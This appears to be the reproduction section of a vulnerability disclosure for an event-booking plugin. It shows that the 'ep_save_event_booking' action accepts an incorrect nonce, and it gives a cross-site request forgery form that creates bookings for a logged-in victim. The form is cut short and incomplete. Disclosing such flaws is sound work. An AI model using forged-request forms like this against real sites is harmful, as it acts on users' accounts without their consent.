Create an Event, noting its ID. Add a ticket type to the Event (the details don't matter).

As a logged-in user, visit a page with the following form, replace the event ID, and submit the form. Note that a new Booking is created, despite the incorrect nonce.

    <form action="" method="POST">
      <input type="text" name="action" value="ep_save_event_booking" />
      <textarea name="data">
      <input type="submit" value="Submit request" />